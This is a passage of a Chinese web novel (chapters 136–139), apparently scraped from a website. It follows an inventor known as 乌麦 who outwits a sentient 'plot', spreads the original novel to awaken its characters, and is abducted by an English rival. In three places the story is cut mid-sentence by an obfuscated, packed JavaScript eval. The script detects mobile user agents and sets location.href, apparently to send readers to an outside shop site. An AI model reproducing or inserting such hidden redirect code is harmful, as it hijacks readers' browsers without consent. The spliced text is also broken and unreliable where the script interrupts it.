无恙,也许是萤光的原因,元之荞觉得自己的恢复速度很快,也许不用一周,伤口就能全数结痂并脱落。 平房遇袭一事,外界舆论与元之荞的预想差不多,因她的出手和投弹飞行器的出现,再次模糊了众人对乌麦的认知。 全城报纸都说乌麦叫“元知荞”,并且信息罗列得大差不差,众人对此深信不疑,于是元之荞在知晓李成扮作自己受捕后,当即复刻了这一手法。 乌麦被66号抓走这一消息遍布全城,犹如当初的报纸事件。如此一来,她搅动了窥视着无线电技术的各方势力,为营救李成做掩护,二来,她会利用后面军阀广播泄密一事,以及无线操控模型机投弹,让群众推断出乌麦其实并没有被捕,进而推翻前面的结论——全城统一的消息,其实也不一定是真的。 于是“乌麦吹”与“乌麦黑”再次上演唇枪舌战,并且第二轮百家争辩比第一轮更加激烈,白鸽见状,暗中引导“阴谋论”,成功让绝大部分人认为乌麦其实不是“元知荞”。 “哼,报纸上说乌麦从小就有精神疾病,五岁的时候还漠视落水孕妇,真不知道你们吹捧她干什么。” “我看你信报纸才是真的有精神疾病,上次不是传66号抓到人了吗?不也是全城报纸刊登吗?结果广播咋了?还不是一卷磁带闹的!而且军阀关押新军那边出现了无人驾驶飞机,投的炸弹恁老大一个,直接就把平房轰没了,新军也全救走了。好家伙,那丑国、那英国、那普国还有那军阀,上百人斗不过三架飞机,你说,能有这种手段的除了乌麦还有谁?所以乌麦压根就没被抓走,报纸都是糊弄人的玩意,信不得!” “哎,你也不能这样说,我看写乌麦的报纸还是有点可信的,比如自小就能建造无线电收音机,在白鸽创建之初就受邀加入……但是其他的消息,八成不太可信,还是得辩证地看。” “我看,就是有人拿乌麦做文章,八成是那些小鬼子打到现在狗急跳墙了,所以什么招式都使出来。” “我觉得不是海国人,你看他们登报澄清的速度,比我过年抓的兔子还快。” “你哥俩都不对,我感觉是洋人,只是不清楚是哪方的洋人。报纸、广播和劫人那些,指不定就是洋人想要逼乌麦现身而做的计策……不管什么样,宁可信其有不可信其无,要是真看到和报纸上说的相似的人,我们还是留心着点,都是国人,万不可让乌麦被洋人抓走了。” “妈妈,乌麦可真厉害,我也想投新军,我想加入信息技术部门……” “我就说了乌麦是千岁老道人你们不信吧?看看,这又有证据了,快快快,多买点荞麦囤着,万一哪天真能沾上仙缘。” 当然,新军也在讨论着这件事。 “我就说了我们组长厉害吧,不仅专业上有天赋才能,就连脑子也是第一,看看,这不就把洋人、鬼子还有军阀绕得团团转了。” “就是,咱们组长就是最牛的,别人肯定要嫉妒死我们了。” “唉,听说乌麦以前是咱白鸽四组的人,后来升迁走了,现在四组组长是乌麦的徒弟……真羡慕啊,要是乌麦还留在四组,我们就能见到她了吧?” “二组和三组组长都见过乌麦,我听他们说乌麦小时候就善长兵法,还被司令看上过,果真名不虚传,最近这一出简直比戏剧还精彩。说实话,我也很想见一见乌麦。” 外界对乌麦议论纷纷,而乌麦本人就坐在李成床边,静静地看着最近有关自己的新闻报道。 大着肚子的杨黛给元之荞削了一个苹果:“喏,之荞。” 元之荞放下报纸,接过苹果咬了起来。 “怎么样?”杨黛眼中关切,“有没有需要注意的新闻?” 136. 第 136 章 “没有,”元之荞把报纸都放到一旁,“对方到现在都没弄懂我的名字,要说危险,其实也没那么危险。” 剧情依然没发现她是外来灵魂,还因她的兄弟姐妹都以“知”作名,竟顺理成章地认为她的“之”也是“知”。一个错误的名字,剧情压根没法直接操控她。 杨黛:“之荞,关于这个泄密的人,你有没有什么线索?” 元之荞嗯了一声,回答道:“是有些有线索。” “既然有线索,那还是得尽快拔出才好,”杨黛想了想,“之荞,若是有需要,白鸽四组随时听你调遣。” 元之荞将苹果咽下,看向杨黛:“放心吧小黛姐,这事我有主意,”她看着还在沉睡的李成,放低了音量,“虽然医生说小成哥以后都要坐轮椅了,但我知道有一种医疗材料可以代替髌骨,只是现在还没这个条件,但等国家安稳了,我一定想办法,到时候我们再找好一点的医生……” “好,”杨黛忍不住打断了元之荞的话,她虽然相信,但也怕自己太过贪心,“我知道的,等成子醒了,我把这个好消息告诉他,”杨黛握住元之荞的手,“谢谢你,之荞。” 元之荞摆了摆手,表示不用:“小黛姐你看护小成哥吧,华常委说明天到蒲城,我还有事要和他说,所以现在得回去整理资料。” “好,一路小心。” 元之荞戴上帽子,走出医院。 盛夏的傍晚总是流光溢彩,金蓝的天过不了多久就会变成一片粉蓝。空中的白云高低错落,像是松软浓郁的棉花。晚风吹动着这些裹着蜜丝的棉花,也悄悄拂起元之荞的发丝。她踏着霞光,伴着风的微凉,一步步走回家中。 胸腔的萤光似乎增强了一些,元之荞能隐隐能察觉到剧情的具体位置,估计是之前的安排起作用了。 “你有办法消灭剧情吗?”她覆着胸口,在心里询问萤光。 本以为这次也和往常一样,萤光不会给她确切的答案,可元之荞才话毕,萤光就从她心口飘出,绕过她的指尖,在她身前成了一幅讲述的连环画。 萤光无法说话,只能用这种方式与元之荞交流。 “你是说……让我取代女主唐曦?”元之荞蹙起眉,看着面前不断变化的画。 画上的萤光飞速变成了一个圆头小人,然后快速地点了点头,点完头后它又变回了画,试着继续说明情况。 元之荞眉心折出一道浅浅的印子:“你是说……你和剧情出自一体,本为一股力量,但后来出现意外,剧情从力量中剥离并不断吸取你的力量,然后就变成了现在的情况?” 萤光小人继续点头。 元之荞:“想要消灭剧情,只能是你力量变强,然后由你吸收剧情,进而变回原本的模样?” 萤光小人的脑袋点得飞快,它有些手舞足蹈,然后又手忙脚乱地变回画,试图把替代女主唐曦一事和力量回归结合在一起,解释给元之荞看。 “我拒绝,”元之荞立刻否定了萤光的想法,“让我做女主的确能消灭剧情,但这并不是一个好办法,毕竟这样做,不过是把《绯恋》改为了《大荞传》而已。” 萤光愣住,像是有些失落,原本的画微动几下,然后便散成了漫漫星火。元之荞看着静静围绕在自己身边的萤光,也开始耐心解释,她的声音和煦且轻柔:“这是个真实的世界,对吧?” 萤光们纷纷点了点头。 “既然这是个真实的世界,那就不应该被一本书定义,”元之荞伸手,轻轻碰了碰光点似的萤光,“生活在这里的每一个人,都是自己的主角,他们不该成为唐曦的陪衬,或者成为我的陪衬,这样对他们、对我,都不公平。” 元之荞看向天空,夕阳正在落幕,抬头尽是酡红:“佛说‘一花一世界,一叶一菩提’,在这大千世界,或许我们都不过是一颗露珠,拥有的也仅是露珠的记忆,”想到这里,元之荞突然笑了,眸中盈润着温柔,“即使微小、脆弱,但在破灭之前,它也是闪耀着晶亮光芒的,是一个微小的宇宙。” 元之荞嘴角带着笑意,看着夕光藏进地线,看着萤光一点点汇聚到她手心,变成一团纯洁明艳的光焰:“不过你和我说了剧情的事,我倒是有了别的主意,不知道你愿不愿意接受?” 萤光没有作答,而是用实际行动表达了支持的态度。 光焰簌地飞进元之荞心口,她感觉到了惬意与暖融,也感受到了萤光的喜悦与激动。 萤光这是真的激动,它绝望下的赌命一博、倾尽所有,终于带回了一个对的灵魂。这个世界的生机,终于有救了。 * 第一师。 “唉,排长,别难过了,襄王有意神女无心啊,”士兵拍着元知茂的肩膀,宽慰着失恋的元知茂,“可惜名花有主,敢问世间情为何物……” “去去去,”元知茂晃动着肩膀,想要摆开士兵的手,“我又没难过,别在这皱巴巴地念,听得我耳酸。” 士兵好笑地反驳:“还不难过?排长你这话就只能骗骗自己吧?” 元知茂翻了一个白眼,接着又呼了一口气,他的手肘撑于膝上,双掌托着脸,看向远处的聊天张修正和白茉莉:“不过是有好感而已,而且妹妹说的对,他俩说不定真有宿世因缘……” “啥?你妹说了啥?”士兵有些纳闷,“你妹是算命术士?” “去,你妹才是算命术士。”元知茂的不高兴十分明显,他站起身,用力甩开士兵的手。 士兵:“哎排长,别气啊,那你和我说说你妹是干啥的?” “滚,好奇我妹干嘛?你看你是没事做了太闲,话再多,就罚你多练半小时。” “别啊排长……好好好,我不说了,我什么也不说了……” 宿城。 “唐曦”一直关注着报刊新闻,现在距它泄露元之荞的消息已近半月,按照时间推算,消息肯定已经到达了蒲城,而抓捕元之荞的行动也一定早在暗中开启。只要耐心等待,一定会看到元之荞被捕的消息。 若是元之荞幸运被杀,那它的力量还会顺势增强。 “耐心,耐心……一定要有耐心……”正当剧情在心中畅想,嘴角也抑制不住地上翘时,它忽地感觉到了黒焰的波动。 死了,这么快? 剧情按耐不住高兴,刚想检查黒焰,却发现自己的力量正在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305764|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凝结并且消散,它裂开的笑容瞬间凝固,立马去查到底是哪里出现了问题。 剧情瞳孔地震,是男主! 剧情心脏震颤,男主的感情线怎么会突然提前! 剧情被打得措手不及,在前期,白茉莉和张修正应该没有感情才对,张修正会娶白茉莉,完全是因为白茉莉的挟恩图报以及一厢情愿,要是张修正现在就进感情线,那唐曦再出现时,可就是板上钉钉的小三了。 剧情绝不能让这样的事情发生,它压下快要气炸的思绪,快速想着对策。问题不大,张修正对白茉莉还没有什么感情,只要动作快点就能完美解决。 剧情耗尽自己全部的力量,强行调出《绯恋》之书,然后找到“张修正”的名字立马点了进去。 就当剧情开始移动到张修正位置时,它又在半路上感到了力量的波动。 而且这次的波动比刚才还要激烈,剧情不仅发现自己所有的力量被禁锢了,而且还发现力量正在以难以控制的速度飞散。 怎么可能,它竟然莫名其妙就要死了? 黒焰近乎透明消逝,剧情感受到了前所未有的恐慌,死亡近在咫尺,而它好不容易生出的自主意识也要消散。 不……不可以,绝对不能! 剧情护着仅剩的一丝力量,迅速逃遁进了一个路人身中。 不管怎么样,只要先活下来,就能给它找到机会反击。 * “曦曦,你在这里做什么?”唐母走到发呆的唐曦身边,关切地摸了一下她的头发。 唐曦回过神来,看向唐母,她神情又恢复到了原本的模样:“妈妈,我好像做了一个很长的梦。” 唐曦发现自己没有过去一大段时间的记忆,她感觉自己好像沉睡了,而在唐母的口中,唐曦并不能理解自己过去的所作所为,也不知自己为何会做出这些事来。唐父唐母见状,隐约意识到唐曦可能中了邪,便互对了一个眼神,打算请神婆来家里看看。 就当唐父唐母谈论请哪里的神婆时,唐曦注意到了桌上成摞的报纸。她看见上面圈起来的部分全是有关于乌麦的消息,便好奇地读了起来。 唐母见唐曦这样,叹了一口气:“这些也是你发梦时收集的,那模样好像是发了疯,只要见到是乌麦的消息,就会全收起来,”她有些担心地看着唐曦,“曦曦,要不要把这些东西都扔了?” 唐曦看着新闻报纸上的内容,眼睛慢慢地亮了起来,果断地拒绝:“不了妈妈,我有些好奇,还想多看一下。” 唐母虽然注意到唐曦的情态与之前看报时不一样,但心里还是有些担忧,心里想着要不然还是抽空把这些报纸都私自处理了。 “卖报卖报,以乌麦署名的小说《绯恋》正在全城发布!” 唐曦听到报童的喊声,顿时抬起了头:“乌麦还写小说?”她看向唐母,“妈妈,我想去买一份,你放心,我只是好奇,没有别的意思。” 唐曦说完就拿着几角钱往外面走去,唐母看到想拦,倒是唐父拉住了唐母:“算了,由曦曦去吧,老人都说惊动中邪的人可能会一起惊动那脏东西,还是等我们把神婆请来了,再看看情况吧。” 137. 第 137 章 唐曦买了一份报纸,当即阅读了起来。 报上《绯恋》说的是唐小姐与张先生在战火纷飞的年代虐恋情深的故事,主打一个凄怨哀愁,一波三折。但这样的故事在当下时代并不少见,剧院也有不少戏本演绎类似故事,实在说不得稀奇。 一些有些阅历的人不太看的上这个故事,但唐曦倒是第一次见,兴致勃勃地读完了整本故事。 元之荞来到这个世界已过十几年,《绯恋》原书也只记得框架与细纲,所以她干脆化用地名,隐用人名,借用“乌麦”响当当的名头,把记得的部分原封不动地搬上了报纸。 这样做有两个目的,一是让尚在懵懂的唐曦、张修正等主角团们看到,二是让与“荞荞”一样的书中角色们看到。 当他们读到这个故事的时候,兴许不会立刻觉醒,尤其是主角团。但在他们遇到相同事件的时候,他们就会感到熟悉,觉得自己好像在哪里看到过,而事件的发展恰如报刊《绯恋》写的一样时,他们就会怀疑,并警示即将到来的事件。 他们可能会若有所思,可能会反复斟酌,也可能会因此勾起他们自我的部分。 在事件节点上,他们可能会做出与《绯恋》一样的事情,也可能遵从自我,做出与事件节点截然相反的选择。 等到那时,几个、十几个甚至是主角团的反叛,剧情自然会手忙脚乱、力量分散,进而不攻自破。 这就是她对萤光所说的办法。 未来的效果如何还不知道,但现在,唐曦看得如痴如醉,毕竟她正处于喜欢看爱情故事的年纪,然而唐曦越看却越觉得奇怪,她有一种莫名的直觉,好像她就是故事中的主人翁唐小姐。 唐曦搓搓脸颊,故事虽然百转千回,但她心里却并不喜欢这个故事,也并不喜欢这个唐小姐。可真要仔细说哪里不喜欢,唐曦却又说不出所以然。她只觉得,若自己是唐小姐,绝不会对张先生百般纠缠,黏糊拖拉。 她向往的爱情,应该是彼此坦诚并勇敢奔赴的。 结局是好结局,但唐曦却心中闷闷,把报纸放到了与乌麦一摞的刊面上。 可刚上去没有多久,唐曦又觉得不妥,于是把报纸重新拿了下来,转而去看报纸上有关乌麦的内容。 刊登《绯恋》的报纸,除了宿城,还有军医白榆所在的第一师以及蒲城。 张修正看完报纸后也产生了奇怪的感觉,但与唐曦不同的是,他很喜欢张先生这个角色,并且觉得张先生可以拥有白小姐与唐小姐两人,完全不用做选择。 倒是白茉莉看完后有些复杂,不知如何描述内心的感受。 两个地方的《绯恋》都是元之荞让留下来的白榆去印的,而蒲城的《绯恋》,则是由白鸽出手。 蒲城的反响比上两个地方热烈,毕竟乌麦在这里可是无人不知无人不晓,只要是听到“乌麦”的噱头,群众都会一拥而上,想看看在这风口浪尖的关口,乌麦还会做什么大事。 然而许多群众看完《绯恋》之后都直呼受骗,觉得名不符实,尤其是乌麦吹们。 “定是有人假借乌麦的名头才写出了这等玩意,岂有此理,这分明就是蹭她人的名气借机敛财,乌麦怎么可能写这种情爱纠葛的烂俗小说!” “就是,要是给老子知道到底是哪个三流写手写出的小说,我定要打上他家去……什么你爱我我不爱你的,饭都没得吃了,还在这里爱来来去。他倒是拿到了红利,乌麦本人就要被他的恶臭扑没了。” “如果真是乌麦写的,她这样做可能有所深意,说不定藏了什么消息在小说里。我要仔仔细细研读几遍,说不定就能成为第一个破解这个秘密的人。” 而乌麦黑们见状则像找到了证据,纷纷急着帮忙传扬《绯恋》,生怕别人不知道乌麦写了什么,宣传完后还要像模像样地黑一把:“哼,我看乌麦是江郎才尽了……” 国人们反应各异,洋人们的反应也不尽相同,有的洋人认为《绯恋》是某种阴谋的前调,就像之前炸平房的铺垫一样。在这种论调下,洋人和海国人也争相购买报刊,试图破解乌麦的用意。 “这《绯恋》里一定有些什么,快,多买几本,一并拿回去研究。” 于是《绯恋》原著就以一种想象不到的速度在这片土地上传播,有的人看后只把它当作小说,有的人看后却隐隐约约有了自我意识,虽然他们不知道这种意识意味着什么,但在元之荞这里,她看见萤光越来越多,并且慢慢向她汇聚而来。 她知道,消灭剧情,也只剩下了时间问题。 * 元家搬了回来,而元之荞在解救完李成后只回了一趟家,之后便再没回去,毕竟耽搁了一周多,手头上的事逐渐堆积,她还是得尽快处理。 元之荞再次扮作史密斯夫人去处理外贸生意,回来的时候发现公司门口停着一辆黑色轿车,她不由得多打量了两眼,发现越看越觉得熟悉。 “斯密斯……夫人?” 元之荞听音抬头,见到从会客室走出来的钟以墨。本是风度翩翩的绅士,元之荞脑中却想起了别的事情。 [天-8的技术涉及到我投资的诺兰实验室……前几年实验室说销毁了一台设备,但我怀疑那台设备被运来了这里,去到了乌麦手上] [我一直怀疑一个人是乌麦,所以这段时间,我一直在接近和跟踪她,可惜没找到切实的证据] [当传出66号抓到乌麦后,那个人就消失了,连她的家人也不见了,所以我才想去关押处看看,看她究竟是不是乌麦] 当时沙发下的小甲虫将他们对话传得清清楚楚,元之荞那是知道,钟以墨对她的示好和靠近,不过是因为试探和怀疑。 他想要找到乌麦,因为乌麦也对他有用。 他的命运的确变了,不过是从原著中军阀的人,变为了洋人的人。 当时的元之荞说不出心里是什么感受,只觉得似乎窜上来一丝失落,但她还有救李成这样迫切的事情,于是匆匆把情绪咽下,不再多想。 如今再见到钟以墨,那种未消化的感情又冒了出来,并且比之过去更加清晰。 元之荞快速压下这股陌生难堪的情绪,给自己做了决定。 既是演戏,那她也可以做到不带任何情感进场。 元之荞笑了笑,看向钟以墨:“克伦威尔先生?真是好久不见。” 钟以墨抬眼笑着,同样看向元之荞:“是啊,好久不见。” “克伦威尔先生这次来,是和我聊货物进度的吗?”元之荞走进公司大门,主动提起材料和电脑的事。 “是……”钟以墨察觉到元之荞态度微妙的不同,他抿下嘴唇,也再次扬起笑容,“史密斯夫人最近过得好吗?” “还行,”元之荞敷衍着,又把话题拉回了货运上,“定金我们已经付了,货品一到,康华就会付剩下的尾款, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“前段时间到处都在抓人,连带着我这也遭了贼,所以就关了几天躲清静,”元之荞扯动嘴角,“没想到现在更加不安稳,但生意还得做下去,所以就又开了,”她抬眸看向钟以墨,带着隐晦的审视,“好像就是克伦威尔先生上次提起的乌麦,搞出了这么大的阵仗,让整个租界都不安稳。” “是。” 元之荞看着他,他清褐色的眼眸没未表露出负面情绪,只是这样简单地承认了。 “对了,最近那个《绯恋》的事情也很热闹,”元之荞主动提起别的事情,也试探钟以墨一番,“克伦威尔先生有看吗?” 提到这个,钟以墨的目光顿了顿:“看了,里面的钟先生很有意思,”他选择坦然回答,“但不知道为什么,总让人有种熟悉感,”他摸着温热的咖啡杯壁,“不知道乌麦为什么要写那样一本小说,史密斯夫人觉得呢?” 元之荞并不作答,而是把问题踢了回去:“克伦威尔先生觉得那是乌麦写的?” 钟以墨看着她沉静的面庞:“不是,我不觉得乌麦的文字会写出这样的东西,但我觉得她这样应该有别的想法。” “明明现在有不少人猜这是假借乌麦之名的著作,听说有些小报也有样学样,借着乌麦的名字就开始写传奇小说,销量都不少,”元之荞放下水杯,意有所指,“看来克伦威尔先生对乌麦很了解?” “是吗?”钟以墨也放下咖啡杯,望着她,同样意有所指:“我想……我应该不了解她。” 138. 第 138 章 元之荞看不懂钟以墨望着她的眼神,只是下意识地避开。她不知道钟以墨说的话是真是假,她也不知道怎么样才能像以前一样做到毫无波动。她只觉得,心里那股情绪更复杂了。 她看着面前的水杯,清茶素色,在照进来的日光中倒映出一片荑黄。 茶汤晃荡,可它的影子却只是纤毫微动。 她还是拒绝了他。 “听说克伦威尔先生三番两次来寻我的助理,”元之荞抬眼,对钟以墨露了出一个客套的微笑,“但是荞已经从我这里离开了,先生要是找她,得去别处寻才行。” 钟以墨看着元之荞,没有言语,许久过后,他轻轻地嗯了一声:“那我就不多扰了,再见,史密斯夫人。” 元之荞点了点头,没有回复。 钟以墨从沙发上起身,往外走去。 这样也好,他想,现在66号也知道自己在找乌麦了,与自己少些接触,她也能安全些。 可心里是这样想,钟以墨却放慢了脚步,借着关门的间隙,回头再看了一眼。 坐在那里的元之荞一直没有抬头,钟以墨轻轻合上了门扉。 引擎车响,元之荞这才抬头,往门外看去。可眼前是关合的门,再无钟以墨的身影。 听到车轮的声音渐渐远去,元之荞脱掉蕾丝手套,再次握上了水杯,将那好不容易平复的清茶一饮而尽:“胡菲,还有茶吗?再给我倒一杯。” 胡菲拿着茶壶走进门:“组长你从不爱喝这荞麦茶的,怎么今天……”当胡菲看到桌上的空茶杯时,她顿时惊讶得叫出了声,“组长,你竟喝完了一杯!你这是怎么了?上火了?转性了?” 元之荞不理胡菲,拿过茶壶自己给自己斟了半杯,她小口地抿着,停顿了一会才回答:“是吧……”她的声音喃喃,像是对胡菲,也像是对自己,“怕是默背书写了那一整本言情,所以自己现在都有些糊涂了。” * 一处英人的洋楼。 “诺兰先生,这个就是当时出入平房的画师,经他供述,狄昇当时让他绘画一幅肖像画,而画像上的人,极有可能就是乌麦。” 诺兰接过画,看着上面的女子:“利亚姆那家伙呢?” “他最近在做生意,到处在租界里走,没看出什么异常,”下属回答,“与他接触过的公司店铺我也查过了,都是正儿八经的生意人,也没看出什么异常。” 诺兰把画放到桌面,指尖敲了敲画上人:“那你们就尽快给我找,安全局已经派人跟上了,我必须要在他们找上来之前抓到真乌麦,否则,我们都没法洗脱罪名。” “知道了,先生。” 四天后。 元之荞终于忙完了康华的事,而白榆那边也顺利了接收材料,如今正按计划输送到专家那边,她在公司换下史密斯夫人的装扮,再次扮成修女准备回家。 回家前,元之荞特意去了趟集市,买了父亲喜欢的菜和母亲喜欢的水果,一段时间没见,带些让人欢喜的东西回去,才好安家人的心,免得他们又要担心自己。 然而元之荞却没有发现,在集市里,正有人在悄悄观察着她。 元之荞结了账,挎着篮子往家走,经过一条小巷时,她敏锐地察觉到了身后有人。元之荞心生警惕,摸上随身携带的迷你手枪。 这种手枪只有四发子弹,只能作为应急逃生使用。 身后人发现元之荞脚步加快,似乎已经发现了他们并意图走出小巷,于是几人相互对视一眼,也跟着加快了脚步。 “喂,姑娘问个事……” 元之荞感觉到有人快走到自己身后,那人直接抓上她的肩膀,而元之荞二话不说,也拿着枪对上那人的胸口。 “她有家伙,一起上!”右侧突然响起一个男人粗犷的声音。 遭了,果真是冲自己来的。 元之荞毫不犹豫地扣下扳机,击中面前人心脏,眼神一扫,瞬时锁定了其余两人的方向。 那两人动作也很快,扬着拳头和刀具对要砍上来,可惜他们的速度都比不过子弹,俯一近身就被枪解决掉了。元之荞在杨黛的指导下学过射击,但练习时间不长,所以枪法不怎么样,但好在现在距离近,简直一打一个准。 干掉了三人,元之荞依旧没有放松警惕,虽然盯梢的一般只有三人,但冲着她来,可能不会只有这么几人,于是元之荞疾步快走,欲离开小巷。 就在接近巷口的时候,她故意放慢了脚步。 不出她所料,墙角边突然又出现了两个男人。 这两人像早就埋伏在此处似地,听到巷口有动静就立马出手,一个想要攻击元之荞的脑袋,一个想要攻击她的双腿。 她一个人无法应付同时出手的两个人,于是元之荞选择了最近的人。 只见左边男人的拳头向她眼窝袭来,元之荞对着他打出了最后一发子弹,转而自己后膝被踢中,元之荞顿时站立不稳,当即就要向一旁歪去。 出拳的男人应声倒地,而元之荞在踉跄前甩出了手中的菜篮子,用力砸向了右边男人的脸。 她枪口未松,眼神与枪都盯上了右边男人的头。 篮里的水果和蔬菜砸到男人脸上,男人防御性地眯眼,后退半步。然而等他快速反应过来,就看到了黑洞洞的枪口。 男人有些害怕地又退了一步,元之荞站稳后指着他,缓缓走出巷口。 男人中等身材,圆脸阔鼻,面目凶狠,头上戴着一个黑色的瓜皮小帽,显然是个陌生人,元之荞质问对方:“谁让你们来的?” 男人听了并不作答,他眼神飘忽一瞬,站住了脚:“小娘们,我劝你还是听话,乖乖跟我们走比较好,免得受那皮肉之苦。” 元之荞皱眉,男人前后反应不同,应是还有后手,八成同伙不久后就会赶来。元之荞轻扯嘴角,装作还有底牌的模样,挑眉道:“那你最好也现在告诉我,到底是谁让你来的?否则等你死了,我只能去问你同伴了。” 男人听完元之荞的话,目光明显带上了迟疑,他瘪嘴,脚跟不由自主地往后撤:“你……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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胡菲在元之荞的工作间找宋教授要的东西:“组长怎么回事,发了信号也不回,”她嘴中嘟嘟囔囔,小心地翻动着桌面上的资料,就怕弄乱了元之荞的东西,“要是找不到,只能我去元家问她了。” 桌上的屏幕绿点一闪一闪,并逐渐离开第一个圆圈。 胡菲在寻找的时候注意到了定位器,她突然感觉有些奇怪:“组长的家就在五公里内啊,怎么会离开这个区域……”胡菲盯着屏幕看,好一会儿,她才发现绿点的移动速度根本不是人的行走速度,胡菲一巴掌拍向桌面,“遭了,出事了!” 胡菲连忙打电话给其他白榆,两只眼睛一瞬不瞬地盯着小绿点:“快去通知华常委,组长可能被人掳走了。” * 华常委等人开着车,一路追着小绿点来到一处,这里是监管最严格的英租界区域,就连住宅主人用的也是自带的菲佣,不会雇佣本国人,似乎是在专门防备各方的探子。 胡菲看到有些为难:“怎么办华叔?我们进不去啊。” 华睿看着搬到车上的定位显示仪,小绿点停在了原处一动不动,他不确定是不是元之荞就在这里,还是对方已经发现了元之荞定位器,所以故意把定位器丢在这里。 华睿定了定神:“你们先回去,我有一个线人可以联系。” 两小时后,钟以墨接到了华常委的消息。 139. 第 139 章 钟以墨接到任务,带着定位显示仪来到目的地。 因为克伦威尔的身份,他并未收到多少阻拦,于是钟以墨带着管家钟叔,借着走亲访友的机会,摸清了小绿点所在位置。 钟叔比钟以墨老道,消息来源也比钟以墨广,于是他让钟以墨在咖啡店稍等,自己则去打听消息。 一小时后,钟叔行色匆匆地回来了,眉目明显带着焦急:“少爷,那栋房子的承租人是一个叫詹姆斯的男人,一周前刚从英国来,”他给钟以墨买了帽子,似乎是想遮住钟以墨的容貌,“但里面还住了一个长金发的男子,外貌身高都与您认识的诺兰对得上。” 钟以墨戴上帽子,抬手将帽檐下压:“知道了钟叔,我们先回去。” 钟以墨把情况告诉华常委,而华睿听完后深深皱起眉:“如果真是诺兰,小墨你就危险了,这事你不要插手。” “华叔叔,是诺兰的话,之荞就一定在他手上,”钟以墨打断对方,解释说明,“我离开英国时向安全局坑了他一把,他本应被关押,可如今却出现这里,说明他掌握了某种无罪证据,且明摆着是冲乌麦而来。” “您也知道,诺兰实验室一直专研信息科技,诺兰抓了之荞,一可以对安全局立功,彻底洗脱叛国罪名,二能利用之荞这个专家,精进实验室技术,”钟以墨态度坚持,语调铿锵,“以前国内派去留学的技术专家,但凡有些才能和成就的,都主动或被动地留在那边,难以回国。若之荞被诺兰带走,那就是真的迟了。” “华叔叔,”钟以墨上前一步,“只要你放出我的具体消息,诺兰就一定会追上来,这不仅能拖延时间,还能创造营救的机会,”他眼中急切,“这是我们最好的计划了。” 华常委心中迟疑,并不想用这个方法,钟以墨却像是看出了他的担忧,于是再度开口:“华叔叔,计划虽然有危险,但我手上有人也有武器,自保没问题,”担心华睿不同意,钟以墨又补了一句,“毕竟怎么看,之荞的作用都比我大,舍我保她,才是您合理的决策。” “小墨,决策不是这样做的。”华睿肃声。 钟以墨默然,他调整情绪,转头看向窗外。紧闭的帘幕后,依稀可见落日熔金,暮云合璧。“华叔叔,我当初选择加入暗线,本就是因为之荞,”他笑了笑,声音很轻,语调带着欣悦与淡然,“现在看来,我应是初心未改。” 那年她欲救我一家性命,如今,我也想护她一身周全。 华睿叹了一口气:“既然你坚持,那我们就敲定计划,务必确保你和之荞都能安全。” “华叔叔,谢谢你。” 然而计划赶不上计划,就在白鸽准备将钟以墨的消息散播出去的时候,小绿点又动了。 胡菲追着信号开出去,车上的白榆看着小绿点移动的方向,心中隐隐有不好预感:“小菲,这条路是通往平杨的吧?” “是,”胡菲双目盯着眼前,并未回头,“怎么了?” “平杨有个很大的平地,”白榆双手按在膝盖,掌心微湿,显然有些忐忑,“所以那边常作洋人飞机的停靠地。” 胡菲知道他什么意思,只说了一句:“扶好定位显示仪。”她一脚油门踩到底,汽车顿时发出轰隆的运转声,驰掣向着平杨开去。 * 元之荞被三个洋人雇佣兵时刻盯着,压根没有离开的机会,她之前就被搜过身,但没人发现她藏在口袋里的纽扣定位器。 诺兰以金钱和地位劝说元之荞投向英方,让她为英方效力,元之荞果断拒绝了。 就在元之荞想着拖延对方,好让白榆发现定位然后接应自己时,诺兰却急得不给元之荞这个机会,在元之荞拒绝后立刻联系了直升飞机,准备先带元之荞转移,然后再带她去英国。 故而第二天一早,元之荞就被人提溜了出来,强行塞上车。车后座上一左一右各挤一名雇佣兵,继续一刻不离地看着她。 元之荞都有些无语了,于是在心里默问萤光有没有什么解决的办法。 萤光飘出身躯,再次用画回答,元之荞小心注意四周,发现似乎只有自己能看见,两个雇佣兵对萤光全然不察。 她稍稍放下心,专心解读画上内容:“你是说,因为这不是《大荞传》,所以你没剧情那样操控人的能力?” 听到元之荞心里的回话,萤光立时变成一个圆头小人,使劲点了点头,然后再次摇身为画,解释说它能修复元之荞的身体,能定位剧情位置,再厉害一点,它能近距离吸收黒焰,除此之外,它就几乎帮不上什么忙了。 元之荞在心里叹了口气,行吧,一个万能修复药,勉强也算金手指,至少能保证自己不会随便就死。 “诺兰,我这是要去哪?”元之荞收了萤光,看向开车人。 诺兰手指轻敲方向盘,像是有些急躁:“去个没人打扰我们的地方。” 元之荞激将:“不告诉我,怕我中途逃跑?” 诺兰鼻腔哼笑一瞬:“是啊,毕竟是好不容易抓到的,可不能再让你逃了。” 元之荞心生疑窦,诺兰这样急,还说了这样的话,说明他有把握让自己无法离开,她试探性地问道:“你要带我回英国?” 诺兰的笑声更明显:“不好吗?在那里,麦女士可以好好想,慢慢想,毕竟我大英帝国繁荣昌盛,想要什么材料设备都有,想做什么实验都能支持。” 果真如此,元之荞握紧手心,指腹按下纽扣大小的定位器:“若我仍是不愿呢?” 